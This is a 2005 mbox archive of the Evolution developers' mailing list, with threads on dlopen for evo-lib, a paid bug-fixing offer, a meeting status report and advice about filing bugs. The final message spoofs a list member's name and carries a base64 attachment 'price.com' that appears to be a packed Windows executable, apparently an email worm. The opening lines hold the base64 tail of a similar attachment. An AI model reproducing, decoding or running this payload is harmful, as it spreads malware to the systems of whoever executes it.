pjqDCudDoJDukWOqAV5DuxazzNBEk2GtLmT7SDLQv1rf84D9wgz1tG0aKq0c954OoSRuqatc OBsy0Hx94IwsyIKqFfoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAIAAwAAACAAAIAOAAAAkAAAgAAAAAAAAAAAAAAAAAAAAgABAAAAQAAAgAIAAABoAACA AAAAAAAAAAAAAAAAAAABAAAAAABYAAAA0PAAAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AQAAAAAAgAAAALjzAACoCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAQAAAKgAAIAAAAAA AAAAAAAAAAAAAAEAAAAAAMAAAABg/AAAIgAAAAAAAAAAAAAAKAAAACAAAABAAAAAAQAEAAAA AACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAADAwMAA gICAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAIgAAAAAAAAAAAAAAAAAAACZmZn/93 d3d3d3d/d3d3cAkAAAAAAAAAAAAAAAAAAHAJB3d3ERERcACH/3iAgYBwCQd3dwEREYAAcAiH gIGA8AkHd3dwARGId4iIEHCBEPAHB3d3d3CId3d3eIGIERDwBwd3d3d4d3d3d3eIiAEQ8AcH d3d3h3h3d3d3eIiIgPAHBxd3d4d//3f/93F4eIDwBwcXd3eH//dxP/8Rd4iA8AcHF3d3h/d3 cB/xEY+IcPAHBxd3F3P3d3ARERGI8RDwBwcRdxdw93EQEREYiPgQ8AcHEXcRcBd3ERGBiBhx EPAHBxF3ERAXf/8REXGIgRD4BwcYFwgQh////xf4iBEQ+AcHGIEQEYd///cf8YEREPgHB3F4 EAh3d/d3H3GBERB4Bwdxd4EId3d4cYcREREQeAcHcX/4ERF3ERiBEREREHgHh3cP/3cREReI eBiBGIB4B3iIEY9xgYEXgXiIiBGAeA+H/4EQGIFxF4F3gBeBEHgPh3EQAYeIeB9wh4EIeBB4 D4d3dwF3F/gPcI9xAYcQeA8Hd3cI+Af4D3AX+AGHcHgPB3dwF/EPcAdwCPgQGHB4Dwd3cB9w H3AXcAh3cAEQeA8AAAAAAAAAAAAAAAAAAHgP//////////////d3d3d4AAAAiIiIiIiIiIiI iIiIiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAACAAAABAAAAAAQAIAAAAAACABAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAADAwMAAwNzAAPDKpgAEBAQA CAgIAAwMDAAREREAFhYWABwcHAAiIiIAKSkpAFVVVQBNTU0AQkJCADk5OQCAfP8AUFD/AJMA 1gD/7MwAxtbvANbn5wCQqa0AAAAzAAAAZgAAAJkAAADMAAAzAAAAMzMAADNmAAAzmQAAM8wA ADP/AABmAAAAZjMAAGZmAABmmQAAZswAAGb/AACZAAAAmTMAAJlmAACZmQAAmcwAAJn/AADM AAAAzDMAAMxmAADMmQAAzMwAAMz/AAD/ZgAA/5kAAP/MADMAAAAzADMAMwBmADMAmQAzAMwA MwD/ADMzAAAzMzMAMzNmADMzmQAzM8wAMzP/ADNmAAAzZjMAM2ZmADNmmQAzZswAM2b/ADOZ AAAzmTMAM5lmADOZmQAzmcwAM5n/ADPMAAAzzDMAM8xmADPMmQAzzMwAM8z/ADP/MwAz/2YA M/+ZADP/zAAz//8AZgAAAGYAMwBmAGYAZgCZAGYAzABmAP8AZjMAAGYzMwBmM2YAZjOZAGYz zABmM/8AZmYAAGZmMwBmZmYAZmaZAGZmzABmmQAAZpkzAGaZZgBmmZkAZpnMAGaZ/wBmzAAA ZswzAGbMmQBmzMwAZsz/AGb/AABm/zMAZv+ZAGb/zADMAP8A/wDMAJmZAACZM5kAmQCZAJkA zACZAAAAmTMzAJkAZgCZM8wAmQD/AJlmAACZZjMAmTNmAJlmmQCZZswAmTP/AJmZMwCZmWYA mZmZAJmZzACZmf8AmcwAAJnMMwBmzGYAmcyZAJnMzACZzP8Amf8AAJn/MwCZzGYAmf+ZAJn/ zACZ//8AzAAAAJkAMwDMAGYAzACZAMwAzACZMwAAzDMzAMwzZgDMM5kAzDPMAMwz/wDMZgAA zGYzAJlmZgDMZpkAzGbMAJlm/wDMmQAAzJkzAMyZZgDMmZkAzJnMAMyZ/wDMzAAAzMwzAMzM ZgDMzJkAzMzMAMzM/wDM/wAAzP8zAJn/ZgDM/5kAzP/MAMz//wDMADMA/wBmAP8AmQDMMwAA /zMzAP8zZgD/M5kA/zPMAP8z/wD/ZgAA/2YzAMxmZgD/ZpkA/2bMAMxm/wD/mQAA/5kzAP+Z ZgD/mZkA/5nMAP+Z/wD/zAAA/8wzAP/MZgD/zJkA/8zMAP/M/wD//zMAzP9mAP//mQD//8wA Zmb/AGb/ZgBm//8A/2ZmAP9m/wD//2YAIQClAF9fXwB3d3cAhoaGAJaWlgDLy8sAsrKyANfX 1wDd3d0A4+PjAOrq6gDx8fEA+Pj4APD7/wCkoKAAgICAAAAA/wAA/wAAAP//AP8AAAD/AP8A //8AAP///wAKExMKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgpNTU1NTU309PTx8fHx 8fHx8fHx8fHx9BoaGhoaGhoKCk0KCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKGgoKTQq1 tbW1tURERERFRL1DQ0MTvf//7xPqQ3RFbgoaCgpNCrW1tbW1EEREREREdENDQ71DQ+rq725D dERuCv8KCk0KtbW1tbW1EBBERERub5OTb29uEkRD70N0REUK/woKdQq1tbW1tbW1tRBub5qa mpqak5NvbkQSdERFRQr/Cgp1CrW1tbW1tbW1EpMak5qampqak5Nvbm4SEERECv8KCvEKtbW1 tbW1tRKTmm8aGhoampqak5Nvb29vEhIK/woK8Qq1RbW1tbW1bhoa/8PDGnX//8Oak0WTb5Nv Egr/CgrxCrVFtbW1tbVuGsPDwxqaRUz//8NFRZN1bm9vCv8KCvEKtUW1tbW1tW4a/xoampoQ Rf/DRURFb8Nvb5oK/woK8Qq1RbW1tUS1tUv/mpqakxBERUVEREVvbsNFRQr/CgrxCrVFRLW1 RLW1EP+amkREEERERERFb29uw29FCv8KCvEKtUVEtbVFRLUQRJoamkRERERvRXRvRG51RUUK /woK8Qq1RUW1tUVERBBEmhrDw8NEREREdURvbm9FRAr/EwrxCrVFb0S1EW9EEG+aw//////D RXXDb25uREVFCv8TCvEKtUVvb0REEUVEbxoaw8PDw5pF/8NFbkRERUQK/xMK8Qq1tUV1b0UR EW6TGhoawxqak0XDdUVuRERFRQrCEwrxCrW1RHV1b0URb5OTmpqTb5NFb3VFRUVFREVFCsJt CvEKtbVEdcPDb0VFRUWTk0VFRW9vRUVFRURERUUKwm0K8W+1tbURw8PDdXVFRUVFRXVvb3Vv RW9vRUVvbwrCbQrxdW9vb0VFb8N1RW9Fb0VFmm9Fmm9vb29vRUVvCsJtCsMTdcPDb0VFEUVv b0V1RUWab0WadW8RRZpvRUUKwm0KwxO1tUVFERFFb5pvb5pvRcOUEW+ab0URb5pvRArC7ArD E7W1tbW1EUWamkWaw28Rw5QRb8N1RRFFb5pFCsLsCsMKtbW1tbURb8NvEZrDbxHDmhFFmsNv EURvmpoKwuwKwwq1tbW1EUWaw0URw5oREZqaERFvw29FEURvmgrC7ArDCrW1tbURRcOaEUXD mhFFdZoREW+adXUREURFCsLsCsMKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKwuwKw8PD /////////////////////////8LCwsLCwsLC7AoKCgoKCm1tbW3s7Ozs7Ozs7Ozs7Ozs7Ozs 7Ozs7OzsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAgAgIBAAAQAEAOgCAAABACAgAAABAAgA qAgAAAIAoi8nXlfEj5JIXZwoo8EsrGGZWHa9N6ier8ctp2OGPLTEQXAFrho6SXsyUgmrDU8D FWNrq6A+IlwIe6LHTrolcXJndmPDsiorM5AeBVxcVk1gXiNOlWGNc1qAQUOXW7xeklythgBN WwFFDESIkWVghVyiQbF4m4gfe2EwDAEnk0VkMS2BproBb0RTDk6xNS4YnhEpRqVIRD5Xap0p jKM2ZaRVnasBCq2ZEbEqRkBkr3oSQEAdaHq9LCcTwIBriZOoZ8a5ColgDHiiaE51bYcYcLHG VbpVFpodc1tpCkeuqqM8UThCih58Fh5AAsAtwSjEdgZsjriAFlaDqQPBGhysYJtxmBRdJ3hV FzItHyAxq1pko8CjBiY3YrJZkJHFw2RbWahtFhW/DJcXK8GJORFDHKIlMbRTvXWjG1CNZyRu Cb2LCA5WRcESTL0RubKImlSdeFYrwE09TcV+np5DF5U3kqFVB1xww5yGn4ZxvHM4UI2qO788 sKwFgwKFcgRDHmEivJBUuZi6MQsxlBWmQDwPoVPCpHBhU7BtPQVQL2gJYikgE1uxecV7CzUE bE5WLZpvDBZWkFTBQl24oVJcY1V7RFQkgJBOYgc3KiZ9N20cQAJVooYNcZCePoW5YAUtxY2I bwmWHQ== ----------oxbkhovhmnbptnahumzq-- From owner-evolution-hackers@skeptopotamus.ximian.com Tue Feb 8 06:25:03 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id D7C2A1248D1; Tue, 8 Feb 2005 06:25:03 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 75ED5124480 for ; Tue, 8 Feb 2005 06:24:45 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id 3CF87633FA; Tue, 8 Feb 2005 06:24:45 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by skeptopotamus.ximian.com (Postfix) with ESMTP id 27BDA633D6 for ; Tue, 8 Feb 2005 06:24:45 -0500 (EST) Received: (qmail 29980 invoked from network); 8 Feb 2005 11:24:44 -0000 Received: from localhost (HELO linux.site) (michael@127.0.0.1) by localhost with SMTP; 8 Feb 2005 11:24:44 -0000 Subject: Re: [Evolution-hackers] Re: dlopen / API hooks for evolution ... From: michael meeks Reply-To: michael.meeks@novell.com To: Frank =?ISO-8859-1?Q?Sch=F6nheit?= "- Sun Microsyste=?UTF-8?Q?ms=2C_Inc.?=" Cc: ls@skeptopotamus.ximian.com, JP Rosevear , evolution In-Reply-To: <005201c50cdc$70da4ba0$0301a8c0@executivesontheweb.local> References: <1106914234.16399.349.camel@linux.site> <41FE3664.5030401@sun.com> <1107254982.12881.18.camel@linux.site> <4202387C.2010907@sun.com> <1107492539.21175.16.camel@linux.site> <005201c50cdc$70da4ba0$0301a8c0@executivesontheweb.local> Content-Type: text/plain; charset=ISO-8859-1 Organization: Novell, Inc. Date: Tue, 08 Feb 2005 11:14:47 +0000 Message-Id: <1107861287.20489.45.camel@linux.site> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-12.4 required=5.0 tests=IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Mon, 2005-02-07 at 06:15 +0000, Frank Schönheit - Sun Microsyste=?UTF-8?Q?ms=2C_Inc.?= wrote: > > We had earlier created "dlopen hack" for evo-lib dependancy. Can we > > remove it now!! > > For the evo-lib, I don't consider usage of dlopen a hack. Quite - indeed, it's necessary to work with both evo 2.0 and 2.2 tragically. So - basically, Jayant - all that needs doing is to add some makefile.mk conditionals and a configure switch here. Frank - shall I commit what we have now to a cws ? and add the conditionals there ? do you have other comments / problems ? Thanks, Michael. -- michael.meeks@novell.com <><, Pseudo Engineer, itinerant idiot From owner-evolution-hackers@skeptopotamus.ximian.com Wed Feb 9 06:24:04 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 4D18A1243DC; Wed, 9 Feb 2005 06:24:04 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 5CC2412411C for ; Wed, 9 Feb 2005 06:23:52 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id 221596306E; Wed, 9 Feb 2005 06:23:52 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from smtp.schwaar.com (smtp.schwaar.com [212.31.69.154]) by skeptopotamus.ximian.com (Postfix) with ESMTP id B19B1631E1 for ; Wed, 9 Feb 2005 06:23:50 -0500 (EST) Received: from groupware.schwaar.com (groupware.schwaar.com [10.96.96.182]) by smtp.schwaar.com (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id j19BNIh26592 for ; Wed, 9 Feb 2005 12:23:18 +0100 Received: from ibm-y0znk7bnw8m (t41.schwaar.com [10.96.96.221]) (authenticated bits=0) by groupware.schwaar.com (8.12.11/8.12.11/Debian-5) with ESMTP id j19BNGsw007879 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT) for ; Wed, 9 Feb 2005 12:23:17 +0100 From: Juraj Holtak To: evolution In-Reply-To: <1107861287.20489.45.camel@linux.site> References: <1106914234.16399.349.camel@linux.site> <41FE3664.5030401@sun.com> <1107254982.12881.18.camel@linux.site> <4202387C.2010907@sun.com> <1107492539.21175.16.camel@linux.site> <005201c50cdc$70da4ba0$0301a8c0@executivesontheweb.local> <1107861287.20489.45.camel@linux.site> Content-Type: text/plain Date: Wed, 09 Feb 2005 12:23:24 +0100 Message-Id: <1107948205.6935.12.camel@localhost> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-4.3 required=5.0 tests=BAYES_30,IN_REP_TO,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Looking for evolution-exchange developers... Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi List! My Company is willing to PAY an evolution and evolution-exchange hacker to fix bugs. We have many installations of debianised evolution in a MS Exchange enviroment and the bugs pop up faster than they are getting fixed in the debian repository. If u have the will and know-how, please email me. This is a serious offer. Juraj Holtak SCHWAAR.COM Austria From pchenthill@novell.com Wed Feb 9 08:45:14 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 92BFE1242FA; Wed, 9 Feb 2005 08:45:14 -0500 (EST) Received: from yahoo.blr.novell.com (unknown [202.144.86.147]) by lists.ximian.com (Postfix) with ESMTP id 640FA124064 for ; Wed, 9 Feb 2005 08:45:02 -0500 (EST) Received: by yahoo.blr.novell.com (Postfix, from userid 0) id 917AB29E91; Wed, 9 Feb 2005 19:15:31 +0530 (IST) From: chen To: JP Rosevear Cc: gene-pool@ximian.com, Evolution Hackers mailing list In-Reply-To: <1107276184.29099.11.camel@bishop.rosevear.com> References: <1107276184.29099.11.camel@bishop.rosevear.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: Wed, 09 Feb 2005 19:15:29 +0530 Message-Id: <1107956730.3828.12.camel@yahoo.blr.novell.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 X-Spam-Status: No, hits=-20.5 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: [gene-pool] *Wednesday* 10 am Team Meeting Agenda and IRC Information Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi, Fixed some bugs and crashes in groupwise calendar and committed the string changes. Did the list moderation. thanks, chenthill. On Tue, 2005-02-01 at 11:43 -0500, JP Rosevear wrote: > Novell people, send a status report if you can't make it. 10am Boston time > (UTC -0500) on Wednesday. > > This meeting will take place on irc.gimp.org, #evolution-meet > > 1. JP > -2.1 development status > -2.1 String freeze > -2.1 notification reminder > -Patch review mode > -2.0.4 bugs and timeline > > 2. Harish on the wiki > > 3. Team > -individual status reports > > 4. Additional Business > -questions, concerns, etc. > > -JP From owner-evolution-hackers@skeptopotamus.ximian.com Wed Feb 9 19:04:32 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id A4F171245AF; Wed, 9 Feb 2005 19:04:32 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id F37D7124D02 for ; Wed, 9 Feb 2005 19:03:59 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id BE451636BE; Wed, 9 Feb 2005 19:02:31 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by skeptopotamus.ximian.com (Postfix) with ESMTP id AD07363B89 for ; Wed, 9 Feb 2005 19:02:31 -0500 (EST) Received: (qmail 1280 invoked from network); 10 Feb 2005 00:02:30 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 10 Feb 2005 00:02:30 -0000 Subject: Re: [Evolution-hackers] Looking for evolution-exchange developers... From: Not Zed To: Juraj Holtak Cc: evolution In-Reply-To: <1107948205.6935.12.camel@localhost> References: <1106914234.16399.349.camel@linux.site> <41FE3664.5030401@sun.com> <1107254982.12881.18.camel@linux.site> <4202387C.2010907@sun.com> <1107492539.21175.16.camel@linux.site> <005201c50cdc$70da4ba0$0301a8c0@executivesontheweb.local> <1107861287.20489.45.camel@linux.site> <1107948205.6935.12.camel@localhost> Content-Type: multipart/alternative; boundary="=-aM26uOcaPDF/Jp7jPqnO" Date: Thu, 10 Feb 2005 07:57:19 +0800 Message-Id: <1107993439.4511.21.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-24.0 required=5.0 tests=ASCII_FORM_ENTRY,BAYES_01,EMAIL_ATTRIBUTION,HTML_30_40, IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-aM26uOcaPDF/Jp7jPqnO Content-Type: text/plain Content-Transfer-Encoding: 7bit FYI, Are you filing bugs against ximian-connector in ximian's bug system at bugzilla.ximian.com? Thats the only way real bugs are going to get fixed. On Wed, 2005-02-09 at 12:23 +0100, Juraj Holtak wrote: > Hi List! > > My Company is willing to PAY an evolution and evolution-exchange hacker > to fix bugs. We have many installations of debianised evolution in a MS > Exchange enviroment and the bugs pop up faster than they are getting > fixed in the debian repository. If u have the will and know-how, please > email me. > This is a serious offer. > > Juraj Holtak > SCHWAAR.COM > Austria > > > > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers --=-aM26uOcaPDF/Jp7jPqnO Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
FYI, Are you filing bugs against ximian-connector in ximian's bug system at bugzilla.ximian.com?  Thats the only way real bugs are going to get fixed.

On Wed, 2005-02-09 at 12:23 +0100, Juraj Holtak wrote: 
Hi List!

My Company is willing to PAY an evolution and evolution-exchange hacker
to fix bugs. We have many installations of debianised evolution in a MS
Exchange enviroment and the bugs pop up faster than they are getting
fixed in the debian repository. If u have the will and know-how, please
email me.
This is a serious offer.

Juraj Holtak
SCHWAAR.COM
Austria




_______________________________________________
evolution-hackers maillist  -  evolution-hackers@lists.ximian.com
http://lists.ximian.com/mailman/listinfo/evolution-hackers
--=-aM26uOcaPDF/Jp7jPqnO-- From notzed@ximian.com Wed Feb 9 21:35:46 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 5F1F7124030; Wed, 9 Feb 2005 21:35:46 -0500 (EST) Received: from pc4.org (unknown [222.126.19.19]) by lists.ximian.com (Postfix) with SMTP id 2D5B012421A for ; Wed, 9 Feb 2005 21:35:42 -0500 (EST) Date: Thu, 10 Feb 2005 09:39:38 -0800 To: "Evolution-hackers" From: "Notzed" Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------vhlhfodqfrrwzyzwayos" X-Spam-Status: No, hits=3.1 required=5.0 tests=BAYES_30,DATE_IN_FUTURE_12_24,HTML_30_40,MIME_HTML_ONLY, RAZOR2_CF_RANGE_91_100 version=2.53 X-Spam-Level: *** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: Thank you! Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: ----------vhlhfodqfrrwzyzwayos Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit :))
----------vhlhfodqfrrwzyzwayos Content-Type: application/octet-stream; name="price.com" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="price.com" TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAQAAAAFBFAABMAQUAAAAAAAAAAAAAAAAA4AAPAQsBAAAAOgAAAEoAAAAAAAAAoAAA ABAAAABQAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAACvUAAAACAAAAAAAAAgAAAAAA EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAnKIAANEAAAAA8AAACgUAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAABQAACwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAADoAAAAAAAC6OQAA ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAwAAMAAAAAAAA8goAAABQAAAAAAAAAAAAAAAA AAAAAAAAAAAAAEAAAMAAMAAAAAAAAHU8AAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAADA AAAAAAAAAAAAUAAAAKAAAABEAAAAAgAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAACgUAAADw AAAKBQAAAEYAAAAAAAAAAAAAAAAAACAAAOBg6AEAAADog8QE6AEAAADpXYHt2SFAAOhvAgAA 6OsI6wLNIP8kJJpmvnJy6AEAAACaWY2VRiJAAOgBAAAAaVhmv3Nn6CoCAACNUvnoAQAAAOhb aMz/4ppmZ2ZnZmhmZ2hmdXV5dXlpdWl1eWl1dWZuaGf/5Gn/pbIkQADp6J7////rAs0gi8Tr As0ggQAWAAAAD4X0AQAAaegAAAAAWJlqFVqNBAJQ6MABAABmPYbzdAPpjZXoIkAA6LUBAADo AQAAAGmDxASNvTclQAC5xT4AALqgE0Dvigf20DLFMsIyxtLAAsECxQLCAsbSyCrBKsX20CrC KsbSwNLIMsHTwogHR0l10ugBAAAA6IPEBA8L6CvSZIsCiyBkjwJYXcOai5WyJEAA6EkBAADo AQAAAMeDxAS7JHoAAGoEaAAwAABTagD/lbYkQADoAQAAAOiDxARoAEAAAFNQ6AEAAADpg8QE UI2VNyVAAFLoDgAAAOgBAAAAaYPEBFpeDlbLYIt0JCSLfCQo/LKApOhsAAAAc/gryehjAAAA cxorwOhaAAAAcyBBsBDoUAAAABLAc/d1QKrr1uh1AAAASeIU6GsAAADrLKzR6A+ElwAAABPJ 6xyRSMHgCKzoUQAAAD0AfQAAcwqA/AVzBoP4f3cCQUGVi8VWi/cr8POkXuuPAtJ1BYoWRhLS w+slNlU5NlU5OlU5NlVDNlU5NlUPOTZVOTpVOTZVQzZVOTZVD1VDOSvJQejH////E8nowP// /3Lyw+sjNlU5NlU5OlU5NlVDNlU5NlUPOTZVOTpVOTZVQzZVOTZVDzkrfCQoiXwkHGHD6wFp WFj/4FlSVY2F2iJAAFArwGT/MGSJIOsDx4ToUcPrA8eEmllB6/AAAAAAAAAAAOCiAAAAAAAA AAAAAPiiAADgogAA2KIAAAAAAAAAAAAABaMAANiiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFuj AAAAAAAAEKMAACGjAAAwowAAPqMAAE2jAAAAAAAAS0VSTkVMMzIuRExMAFVTRVIzMi5ETEwA AABHZXRQcm9jQWRkcmVzcwAAAExvYWRMaWJyYXJ5QQAAAEV4aXRQcm9jZXNzAAAAVmlydHVh bEFsbG9jAAAAVmlydHVhbEZyZWUAAABNZXNzYWdlQm94QQAAAAAAOOPsgmcZU9rvqSegZqhi 3GHFZPb1lPM0F85JitM9UFESsYF8QP/EiezhkOVdRRXCPcj/Im/5FKV1/mqpkw3yKvte95dg yrd1XilACv8JupNPzsEIInl8wpYfM/uyzxJ5UCcGHYPA4trGBRuKJ9HMfRfp5oMoJmjokqGD IT6M4CoueHICOjHBAtW3ZeSQ6aP9l9zd0k48/DcTSu1fEeiCOJL0d39g/xyab3CktnEkHUFT CFzisjUEyJsg4LLn9YPllwezsmCH/FoLDp8ttt5rlq2cy18Y2O3lemS1iy+B35D9veT2X3ys 6mupMisPtw82NJQBvU4U30nV3kdI4KNtHjiz9AUOmU+oQYcw9M3v9pJHb2MNmFxxkYvyqDWc e6RdxePV2t324hZBq8QYxv3max0++yYDcGkyACO8/G4KtSp3pWGzY1JcpBqpAbzhyP/ULnKA z0+b3f/VkRjRxB2PmaEIWHRwGhBrg0Uw0PSJe8Yg0h/2VmzAKy5oXOlQFRj8Zsw4db79HYlW Pr9+CuuEJTjld0kFDMxhu9qwrqoSyHV8udPRW1idiK0838ZRLmgqA95Jliqzqa8fl8gTLxr+ sK0zLt6Dzx/AmKokR2x4/iNeh0do61dxzpgmmVA2caGMbsThL2idSV9Lo3PhizMgKang8/EA 